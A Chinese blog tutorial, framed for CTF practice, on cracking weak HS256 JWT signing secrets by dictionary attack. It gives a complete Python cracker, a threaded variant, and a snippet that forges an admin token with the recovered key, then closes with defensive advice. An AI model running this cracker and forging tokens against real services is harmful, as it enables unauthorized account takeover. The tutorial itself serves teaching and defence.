news 2026/7/29 1:56:17

JWT弱密钥爆破实战:Python脚本实现与CTF安全攻防

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JWT弱密钥爆破实战:Python脚本实现与CTF安全攻防

1. 项目概述:当JWT遇上弱密钥

在CTF的Web安全赛题里,JWT(JSON Web Token)是个常客。它本身是个好东西,设计用来在各方之间安全地传输信息,但实现上稍有不慎,就成了出题人的“心头好”。很多新手,甚至是一些有经验的选手,一看到JWT那串由点分隔的三部分(Header.Payload.Signature)就有点发怵,尤其是最后那个签名部分。其实,很多CTF题目的考点并不在于让你去逆向一个复杂的加密算法,而恰恰在于“人”的疏忽——使用了弱密钥。

所谓弱密钥,就像是把家里的防盗门换成了一把“000”或者“123456”这种人人都能试出来的密码锁。在JWT的语境下,弱密钥通常指那些过于简单、容易被暴力猜解(Brute Force)或字典攻击(Dictionary Attack)猜中的密钥(Secret)。HMAC SHA256算法本身是安全的,但如果你用的密钥是“secret”、“password”、“123456”这种,那安全大厦就从地基开始崩塌了。

这个项目要做的,就是教你如何用Python写一个脚本,在短短几分钟内,自动化地对一个已知的JWT Token进行弱密钥爆破。这不仅是CTF解题的利器,更能让你深刻理解“安全在于细节”这个道理。无论你是刚接触CTF的新手,还是想巩固Web安全知识的老兵,这个实战案例都能让你有所收获。我们将从JWT的基本结构讲起,一步步拆解爆破的原理,最后给你一个可以直接“抄作业”的完整脚本。

2. JWT结构快速回顾与弱密钥风险点

在动手之前,我们必须先搞清楚我们要攻击的目标是什么。一个标准的JWT看起来像这样:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

它由三部分组成,用点(.)分隔:

  • Header(头部):经过Base64Url编码,通常声明令牌类型(typ: JWT)和签名算法(alg: HS256)。
  • Payload(载荷):同样经过Base64Url编码,包含声明(claims),比如用户ID、过期时间等。
  • Signature(签名):对前两部分(Header和Payload)的编码串,用指定的算法和密钥进行签名,用于验证消息在传输过程中未被篡改。

对于使用HMAC SHA256(HS256)算法的JWT,签名的生成公式是:HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload), secret)

风险点就在这里:验证方(服务器)需要用同一个密钥来重新计算签名,并与收到的签名比对。如果密钥secret强度不够,攻击者就可以尝试大量可能的密钥,重新计算签名,直到找到一个能生成匹配签名的密钥。一旦找到,攻击者就等同于拥有了签发合法Token的能力,可以伪造任意身份(比如把自己变成admin)。

在CTF题目中,你拿到的往往是一个现成的JWT Token,题目可能暗示或明示密钥很弱。你的任务就是把它找出来。

注意:本技术仅用于CTF竞赛、授权测试及学习目的,严禁用于未授权的系统测试。在实际生产环境中,必须使用强随机密钥,并妥善保管。

3. 爆破脚本的核心设计思路

写一个爆破脚本,听起来好像就是弄个循环不断尝试。但要想写得高效、健壮,里面有不少门道。我们的核心思路可以分解为以下几个步骤:

  1. 输入与解析:脚本需要能接收一个待破解的JWT Token。我们需要从中分离出Header、Payload和Signature。通常,我们只需要Header和Payload(即点号前两部分)用于重新计算签名,并与第三部分(原Signature)进行比对。
  2. 密钥字典准备:爆破的本质是“猜”。我们需要一个猜测的列表,也就是密钥字典。这个字典的质量直接决定了爆破的成功率和速度。字典可以包含:
    • 常见弱密码(如secret,password,123456,admin等)。
    • 题目可能相关的词汇(如比赛名、题目名、flag,key等)。
    • 使用专门的密码字典文件,如著名的rockyou.txt(在Kali Linux等渗透测试系统中常见)。
  3. 签名验证逻辑:对于字典中的每一个候选密钥,用JWT库(如PyJWT)或手动实现HMAC SHA256算法,使用该密钥对已知的Header和Payload重新生成签名。
  4. 比对与输出:将新生成的签名与原始Token中的签名进行比对。如果一致,则宣告爆破成功,输出该密钥。
  5. 性能与优雅处理:需要考虑爆破的速度,以及如何优雅地处理中断(如Ctrl+C)和进度提示。

为什么选择Python?因为它拥有丰富的库(如pyjwthmachashlib),语法简洁,非常适合快速编写原型和自动化脚本。我们的脚本将主要依赖pyjwt库来简化签名验证过程,因为它已经完美封装了JWT的编解码和验证逻辑。

4. 环境准备与依赖安装

工欲善其事,必先利其器。我们首先需要一个Python环境。推荐使用Python 3.6及以上版本。

1. 创建项目目录并初始化虚拟环境(推荐)为了避免污染全局的Python环境,使用虚拟环境是个好习惯。

mkdir jwt_cracker && cd jwt_cracker python3 -m venv venv # 创建虚拟环境 # 激活虚拟环境 # 在Linux/macOS上: source venv/bin/activate # 在Windows上: venv\Scripts\activate

激活后,你的命令行提示符前通常会显示(venv)

2. 安装核心依赖我们主要需要pyjwt库来处理JWT。

pip install pyjwt

如果还需要用到其他辅助功能,比如颜色输出,可以安装termcolor

pip install termcolor

3. 准备密钥字典文件在项目目录下创建一个名为wordlist.txt的文本文件,里面每行放一个待尝试的密钥。你可以从简单的开始:

secret Secret SECRET password Password PASSWORD 123456 admin key test ctf flag

对于真实的CTF题目,你可能需要更庞大、更针对性的字典。rockyou.txt是一个包含数百万常见密码的巨型字典,你可以在Kali Linux系统中的/usr/share/wordlists/目录下找到它,也可以从合法的安全研究资源网站下载。请确保你获取和使用此类字典的行为符合法律法规和道德规范。

5. 完整脚本实现与逐行解析

下面是一个功能完整、带有进度提示和错误处理的Python爆破脚本。我们将它保存为jwt_cracker.py

#!/usr/bin/env python3 """ JWT弱密钥爆破脚本 作者:你的名字 描述:用于CTF或授权安全测试,通过字典攻击破解HS256算法的JWT弱密钥。 """ import sys import argparse from pathlib import Path import jwt # 需要PyJWT库 import time from termcolor import colored # 可选,用于彩色输出 def crack_jwt(token, wordlist_path): """ 核心爆破函数 :param token: 待破解的JWT字符串 :param wordlist_path: 密钥字典文件路径 """ # 1. 基本校验 if not token: print(colored("[错误] 未提供JWT Token。", 'red')) return False # 2. 解析JWT,获取头部和载荷(不验证签名) try: # 这里decode的verify参数为False,表示我们不验证签名,只是解析出头部和载荷 header = jwt.get_unverified_header(token) payload = jwt.decode(token, options={"verify_signature": False}) # 提取原始的签名部分(第三段) parts = token.split('.') if len(parts) != 3: raise jwt.InvalidTokenError("Token格式错误,必须包含三部分。") original_signature = parts[2] except jwt.InvalidTokenError as e: print(colored(f"[错误] JWT Token无效或格式错误: {e}", 'red')) return False except Exception as e: print(colored(f"[错误] 解析JWT时发生未知错误: {e}", 'red')) return False print(f"[信息] JWT算法: {header.get('alg', '未知')}") print(f"[信息] 开始加载字典文件...") # 3. 加载字典 try: wordlist = Path(wordlist_path) if not wordlist.is_file(): print(colored(f"[错误] 字典文件不存在: {wordlist_path}", 'red')) return False # 读取所有行,去除两端空白字符 secrets = [line.strip() for line in wordlist.open('r', encoding='utf-8', errors='ignore')] total = len(secrets) if total == 0: print(colored("[错误] 字典文件为空。", 'red')) return False print(f"[信息] 已加载 {total} 个候选密钥。") except Exception as e: print(colored(f"[错误] 读取字典文件失败: {e}", 'red')) return False # 4. 开始爆破 print(colored("[开始] 爆破进行中...", 'yellow')) start_time = time.time() tried = 0 for secret in secrets: tried += 1 # 进度提示,每尝试1000个或每1%提示一次 if tried % 1000 == 0 or tried == total: progress = (tried / total) * 100 elapsed = time.time() - start_time print(f"[进度] 已尝试 {tried}/{total} ({progress:.1f}%) | 耗时: {elapsed:.1f}s", end='\r') try: # 核心验证:使用当前候选密钥重新编码(验证)Token # 如果密钥正确,decode不会抛出异常 jwt.decode(token, secret, algorithms=[header['alg']]) # 如果执行到这里,说明密钥正确! end_time = time.time() print() # 换行 print(colored(f"[成功] 密钥找到!", 'green')) print(colored(f" 密钥: \"{secret}\"", 'green', attrs=['bold'])) print(colored(f" 尝试次数: {tried}", 'green')) print(colored(f" 总耗时: {end_time - start_time:.2f} 秒", 'green')) # 可选:用找到的密钥重新生成一个Token看看 print(colored(f"[调试] 使用该密钥验证的Payload: {payload}", 'cyan')) return True except jwt.InvalidSignatureError: # 签名无效,继续尝试下一个 continue except jwt.ExpiredSignatureError: # 签名有效但Token已过期,这通常也意味着密钥正确! # 在CTF中,过期Token也可能被接受,或者题目就是考察这个点 end_time = time.time() print() print(colored(f"[成功] 密钥可能正确,但Token已过期!", 'yellow')) print(colored(f" 候选密钥: \"{secret}\"", 'yellow', attrs=['bold'])) print(colored(f" 尝试次数: {tried}", 'yellow')) print(colored(f" 总耗时: {end_time - start_time:.2f} 秒", 'yellow')) print(colored(f"[提示] 请手动验证此密钥,并使用它伪造一个未过期的Token。", 'yellow')) return True # 或根据情况返回True/False except Exception as e: # 其他异常,如算法不支持等 print(colored(f"[警告] 尝试密钥 '{secret}' 时遇到意外错误: {e}", 'magenta')) continue # 5. 字典遍历完毕,未找到 end_time = time.time() print() # 换行 print(colored(f"[失败] 字典遍历完毕,未找到匹配的密钥。", 'red')) print(colored(f" 总尝试次数: {tried}", 'red')) print(colored(f" 总耗时: {end_time - start_time:.2f} 秒", 'red')) return False def main(): parser = argparse.ArgumentParser(description='JWT弱密钥爆破工具') parser.add_argument('token', help='待破解的JWT Token') parser.add_argument('-w', '--wordlist', default='wordlist.txt', help='密钥字典文件路径 (默认: wordlist.txt)') args = parser.parse_args() print(colored("=== JWT Weak Secret Cracker ===", 'blue', attrs=['bold'])) success = crack_jwt(args.token, args.wordlist) if not success: sys.exit(1) # 非零退出码表示失败 else: sys.exit(0) if __name__ == '__main__': main()

脚本核心逻辑逐行解析:

  1. 参数解析:使用argparse库,让脚本可以通过命令行接收JWT Token和字典文件路径,提升易用性。
  2. 安全解析jwt.get_unverified_headerjwt.decode(..., verify=False)是关键。它们允许我们在不验证签名的情况下,获取到JWT的头部信息和载荷内容,这是我们进行爆破的基础材料。
  3. 签名提取:我们将原始的Token用点分割,直接取出第三部分作为原始签名,用于后续比对(虽然脚本中是通过jwt.decode验证,但理解这个原始签名有助于理解原理)。
  4. 字典读取:使用pathlib.Path以更现代的方式处理文件路径,并考虑了文件编码问题(errors='ignore')。
  5. 爆破循环:这是脚本的心脏。遍历字典中的每一个密钥。
    • 进度提示:每1000次或每1%更新一次进度,并显示已耗时,让用户心中有数,避免长时间无响应导致的焦虑。
    • 核心验证jwt.decode(token, secret, algorithms=[header['alg']])。这行代码尝试用当前的候选密钥secret去验证整个Token。如果验证通过(签名有效),decode函数会正常返回Payload;如果密钥错误,则会抛出jwt.InvalidSignatureError异常。我们正是通过捕获这个异常来判断密钥错误。
    • 过期处理:一个重要的细节是jwt.ExpiredSignatureError。如果密钥正确,但Token本身已经过期,验证也会失败并抛出此异常。在CTF中,这很可能就是正确答案!因为题目可能故意给一个过期的Token,考察你是否能发现密钥正确但Token过期这一情况。我们的脚本特别处理了这个异常,将其视为“可能成功”的标志并提示用户。
  6. 结果输出:使用termcolor库让成功和失败信息更加醒目。成功时,不仅输出密钥,还输出尝试次数和总耗时,方便性能评估。

6. 实战演练:手把手破解示例

假设我们在一个CTF题目中拿到了以下JWT Token(这是一个使用弱密钥secret签发的示例Token):eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODAwMDAwMDB9.4q5zCzL-3z6V6n4q5zCzL-3z6V6n4q5zCzL-3z6V6n(注意:最后签名部分是乱写的,仅作格式示例)

我们按照以下步骤操作:

步骤1:准备字典wordlist.txt文件中写入我们猜测的一些密钥:

admin password 123456 secret key supersecret ctf2023

步骤2:运行脚本在命令行中,进入脚本所在目录,并确保虚拟环境已激活。

python jwt_cracker.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODAwMDAwMDB9.4q5zCzL-3z6V6n4q5zCzL-3z6V6n4q5zCzL-3z6V6n" -w wordlist.txt

步骤3:观察输出脚本会开始运行,输出类似以下内容:

=== JWT Weak Secret Cracker === [信息] JWT算法: HS256 [信息] 开始加载字典文件... [信息] 已加载 7 个候选密钥。 [开始] 爆破进行中... [进度] 已尝试 4/7 (57.1%) | 耗时: 0.0s [成功] 密钥找到! 密钥: "secret" 尝试次数: 4 总耗时: 0.01 秒 [调试] 使用该密钥验证的Payload: {'user': 'admin', 'role': 'admin', 'iat': 1680000000}

看!脚本在尝试到第4个密钥(secret)时成功爆破。我们拿到了密钥secret,并且从Payload中可以看到这是一个userrole都为admin的管理员令牌。

步骤4:利用成果现在,我们可以用这个密钥来伪造我们自己的JWT了。例如,我们可以写一个简单的Python脚本:

import jwt secret = "secret" # 伪造一个Payload,比如把用户改成另一个管理员,或者延长过期时间 forged_payload = { "user": "super_admin", "role": "super_admin", "iat": 1680000000 } # 生成新的Token new_token = jwt.encode(forged_payload, secret, algorithm="HS256") print(f"伪造的Token: {new_token}")

将这个新Token替换到浏览器的Cookie或请求头中,很可能就能以super_admin的身份访问题目中的受限功能了。

7. 性能优化与高级技巧

基础的脚本已经能用,但在面对大型字典或追求极致速度时,我们可以进行一些优化。

1. 多线程/多进程爆破如果字典有几十上百万条,单线程跑起来会很慢。我们可以使用Python的concurrent.futures模块来并行处理。

from concurrent.futures import ThreadPoolExecutor, as_completed def try_secret(secret, token, header): """单个密钥的尝试函数,供线程池调用""" try: jwt.decode(token, secret, algorithms=[header['alg']]) return secret, True # 返回密钥和成功状态 except jwt.InvalidSignatureError: return secret, False except jwt.ExpiredSignatureError: return secret, "expired" # 特殊状态 except Exception: return secret, False # 在主函数中替换循环部分 with ThreadPoolExecutor(max_workers=10) as executor: # 10个线程 future_to_secret = {executor.submit(try_secret, s, token, header): s for s in secrets} for future in as_completed(future_to_secret): secret = future_to_secret[future] try: result, status = future.result() if status is True or status == "expired": # 找到密钥,立即关闭执行器并返回 executor.shutdown(wait=False, cancel_futures=True) print(f"[成功] 找到密钥: {result}") return True except Exception as exc: print(f'密钥 {secret} 生成异常: {exc}')

注意:多线程/进程会大幅提升速度,但也会增加CPU负载和代码复杂度。jwt.decode操作是CPU密集型的,使用多进程(ProcessPoolExecutor)在CPU核心多的情况下可能比多线程更有优势,因为Python有GIL限制。但进程间通信开销更大,需要根据实际情况测试。

2. 字典优化与针对性生成

  • 大小写变换:很多弱密钥只是大小写不同。可以在加载字典后,自动为每个单词生成其全小写、全大写、首字母大写等形式。
  • 常见模式拼接:针对CTF,可以生成如ctf{word},flag{word},{word}2023,{word}_key等组合。
  • 使用专业工具:像hashcatJohn the Ripper这样的专业密码破解工具,针对JWT有专门的攻击模式(hashcat -m 16500),它们利用GPU加速,速度远超我们的Python脚本。我们的脚本更适合于学习原理、快速验证思路或在小字典场景下使用。

3. 处理其他算法我们的脚本默认处理HS256(HMAC SHA256)。但JWT还支持HS384HS512等。脚本通过header['alg']动态指定算法,因此理论上支持所有HMAC SHA系列的算法。如果遇到RS256(非对称加密)等算法,爆破思路完全不同,需要获取公钥或寻找其他漏洞,本脚本不适用。

8. 常见问题排查与避坑指南

在实际操作中,你可能会遇到以下问题:

1. 脚本报错:ModuleNotFoundError: No module named 'jwt'

  • 原因:没有安装pyjwt库,或者在错误的Python环境中运行。
  • 解决:确保已激活虚拟环境,并执行pip install pyjwt

2. 脚本报错:InvalidTokenError: Not enough segments

  • 原因:提供的字符串不是有效的JWT格式(不是由两个点分隔的三部分)。
  • 解决:检查你复制的Token是否完整,前后是否有多余的空格或引号。

3. 爆破速度非常慢

  • 原因:字典文件过大(如上百万行),且是单线程运行。
  • 解决
    • 首先尝试缩小字典范围,使用更精准的字典。
    • 实现上面提到的多线程/多进程版本。
    • 对于超大型字典,考虑换用hashcat等专业工具。

4. 密钥明明在字典里,但脚本没找到

  • 原因1:Token已过期,且脚本没有正确处理ExpiredSignatureError。我们上面的脚本已经处理了,但如果你用的是简化版,可能漏了。
  • 原因2:密钥包含不可见字符。比如字典文件是从Windows创建,有\r\n换行符,而Linux是\n。使用line.strip()可以去除空白字符,但如果是其他特殊字符,可能需要检查字典文件编码和内容。
  • 原因3:JWT使用的不是HMAC算法(如HS256),而是RS256等非对称算法。这时需要检查JWT Header中的alg字段。
  • 解决:在脚本中加入更详细的调试信息,比如打印出正在尝试的每一个密钥(对于小字典),或者捕获所有异常并打印。

5. 找到了密钥,但伪造的Token仍然被拒绝

  • 原因1:服务器可能不仅验证签名,还验证了其他声明,如exp(过期时间)、iat(签发时间)或自定义声明。你伪造的Token可能过期时间不对。
  • 原因2:服务器可能使用了密钥轮换,或者这个密钥只是用于签名某个特定部分的Token。
  • 原因3:题目可能有别的陷阱,比如需要修改Header中的某个字段(如kid参数)进行攻击。
  • 解决:仔细分析原始Token的Payload,确保你伪造的Token包含了所有必需的、有效的声明。使用jwt.decode解码原始Token时,查看所有字段。

6. 如何判断一个JWT是否可爆破?

  • 查看Header:如果algHS256HS384HS512,则理论上存在爆破可能。
  • 题目提示:CTF题目描述中如果出现“弱密钥”、“简单密码”、“secret”等字眼,基本就是暗示。
  • 经验:在CTF中,如果JWT是解题的唯一入口,且没有其他明显漏洞(如SQL注入、SSTI),尝试弱密钥爆破是一个高优先级的思路。

9. 防御措施与安全启示

通过这个攻击实验,我们应该更清楚地知道如何防御:

  1. 使用强密钥:绝对禁止使用secretpassword123456或任何字典中的单词作为JWT密钥。应该使用密码学安全的随机数生成器生成足够长(如32字节以上)的随机字符串。
  2. 密钥管理:将密钥存储在安全的地方,如环境变量、密钥管理服务(KMS)或加密的配置文件中,而不是硬编码在代码里。
  3. 使用非对称加密(RS256等):在微服务等场景中,使用RS256(私钥签名,公钥验证)可以避免在多个服务间共享密钥,公钥可以公开分发,私钥严格保密,安全性更高。
  4. 设置合理的Token过期时间:尽量缩短JWT的有效期,减少Token泄露后的风险窗口。
  5. 验证所有声明:服务器端在验证签名后,还必须严格验证expiatiss(签发者)、aud(受众)等声明,确保Token的上下文有效。

这个5分钟的爆破实验,与其说是一个攻击工具,不如说是一面镜子,它照出了开发中因懈怠而引入的安全隐患。在CTF中破解它,是为了在真实开发中避免它。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/29 1:48:11

研究生论文AI降重工具与技术策略全解析

1. 研究生学术写作工具现状解析2023年全球学术不端检测市场规模已达12.7亿美元,仅中国高校每年就有超过200万篇学位论文需要查重。在这个背景下,"降AI率"成为研究生群体新的刚需——指降低论文中被AI检测工具识别为机器生成内容的比例。传统查…

作者头像 李华
网站建设 2026/7/29 1:47:58

我把公司的工单系统塞进了大模型:一次完整的实战复盘

完整复盘一个真实项目。从一句模糊的老板需求,到系统上线跑了大半年,中间所有的判断、踩坑、没做成的事,都摊开。 选这个项目讲,是因为它足够普通。不是什么明星AI产品,就是一家公司的内部工单系统改造。但恰恰因为普通…

作者头像 李华
网站建设 2026/7/29 1:45:43

Grok对话AI本地部署与API集成实战指南

这次我们来看一下马斯克预告的 Grok 4.6 与 4.7 版本发布时间,以及当前可用的 Grok 相关工具生态。Grok 作为 xAI 推出的对话 AI 模型,一直以直率幽默的风格和快速迭代著称。这次版本预告不仅显示了技术进展,也反映了开源社区对本地部署、API…

作者头像 李华
网站建设 2026/7/29 1:43:33

三步掌握B站视频下载工具:解锁大会员4K与充电专属内容

三步掌握B站视频下载工具:解锁大会员4K与充电专属内容 【免费下载链接】bilibili-downloader B站视频下载,支持下载大会员清晰度4K,持续更新中 项目地址: https://gitcode.com/gh_mirrors/bil/bilibili-downloader 你是否曾经遇到过这…

作者头像 李华
网站建设 2026/7/29 1:42:57

RAG文档切分

1、为什么切分避免无关内容对结果影响,提升检索精度突破Token数量限制,控制经济成本提升信噪比,减少信息干扰,物理抑制大模型“幻觉”元数据挂载,数据治理与溯源混合架构中提升多路召回精确度2、切分策略具体切分时&am…

作者头像 李华